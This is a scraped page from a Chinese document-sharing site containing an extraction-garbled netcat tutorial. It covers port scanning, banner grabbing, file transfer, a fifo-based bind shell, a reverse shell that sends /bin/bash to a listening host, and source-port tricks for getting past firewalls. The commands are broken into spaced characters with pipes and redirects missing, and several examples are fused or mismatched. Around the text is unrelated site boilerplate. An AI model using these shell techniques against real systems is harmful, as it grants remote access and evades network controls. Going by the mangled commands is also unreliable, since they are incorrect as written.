




已閱讀5頁,還剩1頁未讀, 繼續免費閱讀
版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領
文檔簡介
Linux Netcat 命令 網絡工具中的瑞士軍 刀 netcat是網絡工具中的瑞士軍刀 它能通過TCP和UDP在網絡中讀寫數據 通過與其他工具 結合和重定向 你可以在腳本中以多種方式使用它 使用netcat命令所能完成的事情令人驚 訝 netcat所做的就是在兩臺電腦之間建立鏈接并返回兩個數據流 在這之后所能做的事就看你 的想像力了 你能建立一個服務器 傳輸文件 與朋友聊天 傳輸流媒體或者用它作為其它 協議的獨立客戶端 下面是一些使用netcat的例子 A 172 31 100 7 B 172 31 100 23 Linux netcat 命令實例 1 端口掃描 端口掃描經常被系統管理員和黑客用來發現在一些機器上開放的端口 幫助他們識別系統中 的漏洞 n c z v n 1 7 2 3 1 1 0 0 7 2 1 2 5 可以運行在TCP或者UDP模式 默認是TCP u參數調整為udp z 參數告訴netcat使用0 IO 連接成功后立即關閉連接 不進行數據交換 謝謝 jxing 指點 v 參數指使用冗余選項 譯者注 即詳細輸出 n 參數告訴netcat 不要使用DNS反向查詢IP地址的域名 這個命令會打印21到25 所有開放的端口 Banner是一個文本 Banner是一個你連接的服務 發送給你的文本信息 當你試圖鑒別漏洞或者服務的類型和版本的時候 Banner信息是非常 有用的 但是 并不是所有的服務都會發送banner 一旦你發現開放的端口 你可以容易的使用netcat 連接服務抓取他們的banner n c v 1 7 2 3 1 1 0 0 7 2 1 netcat 命令會連接開放端口21并且打印運行在這個端口上服務的banner信息 Chat Server 假如你想和你的朋友聊聊 有很多的軟件和信息服務可以供你使用 但是 如果你沒有這么 奢侈的配置 比如你在計算機實驗室 所有的對外的連接都是被限制的 你怎樣和整天坐在 隔壁房間的朋友溝通那 不要郁悶了 netcat提供了這樣一種方法 你只需要創建一個Chat 服務器 一個預先確定好的端口 這樣子他就可以聯系到你了 Server n c l 1 5 6 7 netcat 命令在1567端口啟動了一個tcp 服務器 所有的標準輸出和輸入會輸出到該端口 輸 出和輸入都在此shell中展示 Client n c 1 7 2 3 1 1 0 0 7 1 5 6 7 不管你在機器B上鍵入什么都會出現在機器A上 3 文件傳輸 大部分時間中 我們都在試圖通過網絡或者其他工具傳輸文件 有很多種方法 比如 FTP SCP SMB等等 但是當你只是需要臨時或者一次傳輸文件 真的值得浪費時間來安裝配 置一個軟件到你的機器上嘛 假設 你想要傳一個文件file txt 從A 到B A或者B都可以作為 服務器或者客戶端 以下 讓A作為服務器 B為客戶端 Server n c l 1 5 6 7 f i l e t x t 這里我們創建了一個服務器在A上并且重定向netcat的輸入為文件file txt 那么當任何成功連 接到該端口 netcat會發送file的文件內容 在客戶端我們重定向輸出到file txt 當B連接到A A發送文件內容 B保存文件內容到file txt 沒有必要創建文件源作為Server 我們也可以相反的方法使用 像下面的我們發送文件從B到 A 但是服務器創建在A上 這次我們僅需要重定向netcat的輸出并且重定向B的輸入文件 B作為Server Server n c l 1 5 6 7 f i l e t x t Client n c 1 7 2 3 1 1 0 0 2 3 1 5 6 7 f i l e t x t 使用mcrypt工具加密數據 客戶端 m c r y p t f l u s h b a r e F q m e c b 1 n c l 1 5 6 7 t m p t m p f i f o 這里我們創建了一個fifo文件 然后使用管道命令把這個fifo文件內容定向到shell 2 1中 是用來重定向標準錯誤輸出和標準輸出 然后管道到netcat 運行的端口1567上 至此 我們 已經把netcat的輸出重定向到fifo文件中 說明 從網絡收到的輸入寫到fifo文件中 cat 命令讀取fifo文件并且其內容發送給sh命令 sh命令進程受到輸入并把它寫回到netcat netcat 通過網絡發送輸出到client 至于為什么會成功是因為管道使命令平行執行 fifo文件用來替代正常文件 因為fifo使讀取 等待而如果是一個普通文件 cat命令會盡快結束并開始讀取空文件 在客戶端僅僅簡單連接到服務器 Client n c n 1 7 2 3 1 1 0 0 7 1 5 6 7 你會得到一個shell提示符在客戶端 反向shell 反向shell是指在客戶端打開的shell 反向shell這樣命名是因為不同于其他配置 這里服務器 使用的是由客戶提供的服務 服務端 n c l 1 5 6 7 在客戶端 簡單地告訴netcat在連接完成后 執行shell 客戶端 n c 1 7 2 3 1 1 0 0 7 1 5 6 7 e b i n b a s h 現在 什么是反向shell的特別之處呢 反向shell經常被用來繞過防火墻的限制 如阻止入站連接 例如 我有一個專用IP地址為 172 31 100 7 我使用代理服務器連接到外部網絡 如果我想從網絡外部訪問 這臺機器如 1 2 3 4的shell 那么我會用反向外殼用于這一目的 10 指定源端口 假設你的防火墻過濾除25端口外其它所有端口 你需要使用 p選項指定源端口 服務器端 n c l 1 5 6 7 客戶端 n c 1 7 2 3 1 1 0 0 7 1 5 6 7 p 2 5 使用1024以內的端口需要root權限 該命令將在客戶端開啟25端口用于通訊 否則將使用隨機端口 11 指定源地址 假設你的機器有多個地址 希望明確指定使用哪個地址用于外部數據通訊 我們可以在 netcat中使用 s選項指定ip地址 服務器端 n c u l 1 5 6 7 f i l e t x t 該命令將綁定地址172 31 100 5 這僅僅是使用netcat的一些示例 其它用途有 使用 t選項模擬Telnet客戶端 HTTP客戶端用于下載文件 連接到郵件服務器 使用SMTP協議檢查郵件 使用ffmpeg截取屏幕并通過流式傳輸分享 等等 其它更多用途
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
- 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
- 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 七年級生物下冊 4.2.3 合理營養與食品安全教學設計 (新版)新人教版
- 人教版生物八年級下冊7.2.4人的性別遺傳 教學設計
- 人教版四年級下冊第4課 主題與背景教案
- 七年級生物上冊 第二單 第二章 第三節 動物的運動教學設計 (新版)濟南版
- 2024四川巴東弘發產業發展集團有限公司公開招聘工作人員1人筆試參考題庫附帶答案詳解
- 人教版八年級地理上冊:4.2 農業 教學設計
- 人教部編版三年級下冊3 荷花教案設計
- 七年級數學下冊 第二章 相交線與平行線 3 平行線的性質第2課時 平行線的判定與性質的綜合應用教學設計 (新版)北師大版
- 九年級道德與法治下冊 第一單元 我們共同的世界 第二課 構建人類命運共同體 第2框謀求互利共贏教學設計 新人教版
- 2024北京國家金融科技風險監控中心有限公司招聘10人筆試參考題庫附帶答案詳解
- 人工智能在智能工廠中的應用
- 常見烹飪原料的營養
- 集團物料分類屬性及描述(V1.1)20141110
- 窗簾采購投標方案432
- 雷達原理(第6版) 習題及答案匯總 丁鷺飛 ch01-ch09
- 離婚協議書電子版下載
- 小班音樂《春雨沙沙》
- GB/T 43044-2023數碼照相機規格指南
- 完整版供應商質量審核檢查評分表(供應商審核表)
- 公司接待流程圖
- 大數據分析與決策課件
評論
0/150
提交評論